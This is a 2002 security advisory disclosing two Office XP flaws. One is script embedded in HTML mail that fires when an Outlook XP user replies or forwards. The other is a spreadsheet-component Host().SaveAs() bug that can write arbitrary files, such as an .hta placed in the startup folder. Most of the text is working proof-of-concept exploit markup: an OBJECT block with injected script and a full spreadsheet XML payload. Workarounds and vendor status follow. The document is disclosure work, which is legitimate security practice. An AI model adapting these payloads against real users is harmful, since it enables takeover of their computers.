Georgi Guninski security advisory #53, 2002
   More Office XP problems
   Systems affected:
   Office XP
   Risk: High
   Date: 31 March 2002
   Legal Notice:
   This Advisory is Copyright (c) 2002 Georgi Guninski.
   You may distribute it unmodified.
   You may not modify it and distribute it or distribute parts
   of it without the author's written permission.
   If you want to link to this content use the URL:
   http://www.guninski.com/m$oxp-2.html 
   Disclaimer:
   The information in this advisory is believed to be true though
   it may be false.
   The opinions expressed in this advisory and program are my own and
   not of any company. The usual standard disclaimer applies,
   especially the fact that Georgi Guninski is not liable for any damages
   caused by direct or  indirect use of the information or functionality
   provided by this advisory or program. Georgi Guninski bears no
   responsibility for content or misuse of this advisory or program or
   any derivatives thereof.
   Description:
   Actually there are at least two vulnerabilities in Office XP.
   1. It is possible to embed active content (object + script) in HTML mail
   which is triggered if the user chooses reply or forward to the mail.
   This opens an exploit scenario for forcing the user to visit a page
   in the internet zone of IE at least. For another exploit scenario
   check (2)
   2. There is a bug in ms spreadsheet compononent. Namely in its Host()
   function which may be exploited with the help of (1) or probably from
   any document opened with Office application. This buggy function
   allows creating files with arbitrary names and their content may be
   specified to some extent at which is sufficient to place an
   executable file (.hta) in user's startup directory which may lead to
   taking full control over user's computer.
   This probably may be called cross application scripting because
   one application uses object from another application.
   Details:
   The following must be put in HTML email which should be opened with
   Outlook XP and the user should choose reply or forward.
   1.
   --------------------------------------
   <OBJECT id=WebBrowser1 height=150 width=300
   classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2>
   <PARAM NAME="ExtentX" VALUE="7938">
   <PARAM NAME="ExtentY" VALUE="3969">
   <PARAM NAME="ViewMode" VALUE="0">
   <PARAM NAME="Offline" VALUE="0">
   <PARAM NAME="Silent" VALUE="0">
   <PARAM NAME="RegisterAsBrowser" VALUE="1">
   <PARAM NAME="RegisterAsDropTarget" VALUE="1">
   <PARAM NAME="AutoArrange" VALUE="0">
   <PARAM NAME="NoClientEdge" VALUE="0">
   <PARAM NAME="AlignLeft" VALUE="0">
   <PARAM NAME="ViewID" VALUE="{0057D0E0-3573-11CF-AE69-08002B2E1262}">
   <PARAM NAME="Location" VALUE="about:/dev/random<script>while (42)
   alert('HOHOHO\nTrying to sell trustworthy
   computing\nHOHOHO')</script>">
   <PARAM NAME="ReadyState" VALUE="4">
   </OBJECT>
   -------------------------------------
   2.
   The office spreadsheet component is something like mini excel.
   It may be embeded in web pages (seems not exploitable) and in
   office documents (seems exploitable).
   It supports the Host() function which returns the hosting object.
   So if you put in formula '=Host().SaveAs("name")' file with name
   shall be created.
   [Note, lines may be wrapped]
   ---------------------------------------
   <h1>
   Hehe. Triyng to sell trustworthy computing.
   </h1>
   <object
      classid="CLSID:0002E551-0000-0000-C000-000000000046" id=Spreadsheet1
      v:shapes="_x0000_s1026" class=shape width=81 height=81
      u1:shapes="_x0000_s1025">
      <param name=DataType value=XMLURL>
      <param name=XMLData
      value="<?xml version="1.0"?>

<ss:Workbook
   xmlns:o="urn:schemas-microsoft-com:office:office"


   xmlns:x="urn:schemas-microsoft-com:office:excel"


   xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet"
&#
   10;
   xmlns:c="urn:schemas-microsoft-com:office:component:spreadsheet&quo
   t;


   xmlns:html="http://www.w3.org/TR/REC-html40">


   <x:ExcelWorkbook>


   <x:ProtectStructure>False</x:ProtectStructure>


   <x:ActiveSheet>0</x:ActiveSheet>


   </x:ExcelWorkbook>

 <ss:Styles>


   <ss:Style ss:ID="Default">

   <ss:Alignment
   ss:Horizontal="Automatic" ss:Rotate="0.0"
   ss:Vertical="Bottom"


   ss:ReadingOrder="Context"/>


   <ss:Borders>

   </ss:Borders>


   <ss:Font ss:FontName="Arial" ss:Size="10"
   ss:Color="Automatic" ss:Bold="0"


   ss:Italic="0" ss:Underline="None"/>


   <ss:Interior ss:Color="Automatic"
   ss:Pattern="None"/>

   <ss:NumberFormat
   ss:Format="General"/>

   <ss:Protection
   ss:Protected="1"/>

  </ss:Style>


   </ss:Styles>

 <c:ComponentOptions>


   <c:Label>

   <c:Caption>Microsoft Office
   Spreadsheet</c:Caption>

  </c:Label>


   <c:PreventPropBrowser/>


   <c:MaxHeight>80%</c:MaxHeight>


   <c:MaxWidth>80%</c:MaxWidth>


   <c:NextSheetNumber>1</c:NextSheetNumber>


   </c:ComponentOptions>


   <x:WorkbookOptions>


   <c:OWCVersion>10.0.0.2621         </c:OWCVersion>


   <x:DisableUndo/>

 </x:WorkbookOptions>


   <ss:Worksheet ss:Name="Sheet1">


   <x:WorksheetOptions>

   <x:Selected/>


   <x:ViewableRange>R1:R262144</x:ViewableRange>


   <x:Selection>R1C1</x:Selection>


   <x:TopRowVisible>0</x:TopRowVisible>


   <x:LeftColumnVisible>0</x:LeftColumnVisible>


   <x:ProtectContents>False</x:ProtectContents>


   </x:WorksheetOptions>


   <c:WorksheetOptions>


   </c:WorksheetOptions>

  <ss:Table
   ss:ExpandedColumnCount="1"
   ss:ExpandedRowCount="1"


   ss:DefaultColumnWidth="48.0"
   ss:DefaultRowHeight="12.75">


   <ss:Row>

    <ss:Cell
   ss:Formula='=HOST().SaveAs("C:\GGGG5")'>


   <ss:Data
   ss:Type="Boolean">1</ss:Data>


   </ss:Cell>

   </ss:Row>


   </ss:Table>

 </ss:Worksheet>


   <ss:Worksheet ss:Name="Sheet2">


   <x:WorksheetOptions>


   <x:ViewableRange>R1:R262144</x:ViewableRange>


   <x:Selection>R1C1</x:Selection>


   <x:TopRowVisible>0</x:TopRowVisible>


   <x:LeftColumnVisible>0</x:LeftColumnVisible>


   <x:ProtectContents>False</x:ProtectContents>


   </x:WorksheetOptions>


   <c:WorksheetOptions>


   </c:WorksheetOptions>

 </ss:Worksheet>


   <ss:Worksheet ss:Name="Sheet3">


   <x:WorksheetOptions>


   <x:ViewableRange>R1:R262144</x:ViewableRange>


   <x:Selection>R1C1</x:Selection>


   <x:TopRowVisible>0</x:TopRowVisible>


   <x:LeftColumnVisible>0</x:LeftColumnVisible>


   <x:ProtectContents>False</x:ProtectContents>


   </x:WorksheetOptions>


   <c:WorksheetOptions>


   </c:WorksheetOptions>

 </ss:Worksheet>


   <o:DocumentProperties>


   <o:Author>ad</o:Author>


   <o:LastAuthor>ad</o:LastAuthor>


   <o:Created>2002-03-17T12:07:37Z</o:Created>


   <o:Company>g</o:Company>


   <o:Version>10.2625</o:Version>


   </o:DocumentProperties>


   <o:OfficeDocumentSettings>


   <o:DownloadComponents/>

   <o:LocationOfComponents
   HRef="file:///E:\"/>


   </o:OfficeDocumentSettings>

</ss:Workbook>
&#10
   ;">
      <param name=AllowPropertyToolbox value=0>
      <param name=AutoFit value=0>
      <param name=Calculation value=-4105>
      <param name=Caption value="Microsoft Office Spreadsheet">
      <param name=DisplayColumnHeadings value=-1>
      <param name=DisplayGridlines value=-1>
      <param name=DisplayHorizontalScrollBar value=-1>
      <param name=DisplayOfficeLogo value=-1>
      <param name=DisplayPropertyToolbox value=0>
      <param name=DisplayRowHeadings value=-1>
      <param name=DisplayTitleBar value=0>
      <param name=DisplayToolbar value=-1>
      <param name=DisplayVerticalScrollBar value=-1>
      <param name=DisplayWorkbookTabs value=-1>
      <param name=EnableEvents value=-1>
      <param name=MaxHeight value="80%">
      <param name=MaxWidth value="80%">
      <param name=MoveAfterReturn value=-1>
      <param name=MoveAfterReturnDirection value=-4121>
      <param name=RightToLeft value=0>
      <param name=ScreenUpdating value=-1>
      <param name=EnableUndo value=0>
     </object>
   ---------------------------------
   Workaround/Solution:
   The solution is to get a real mail client and office applications.
   Workaround for this particular problem is:
   For (1) - disable everything that contains "active" in IE.
   For (2) - (Have not tested it personally)
   Deregister and delete the ms office spreadsheet component
   Vendor status:
   Microsoft was notified on 17 March 2002.
   They had 2 weeks to produce a patch but didn't.
   Regards,
   Georgi Guninski
   http://www.guninski.com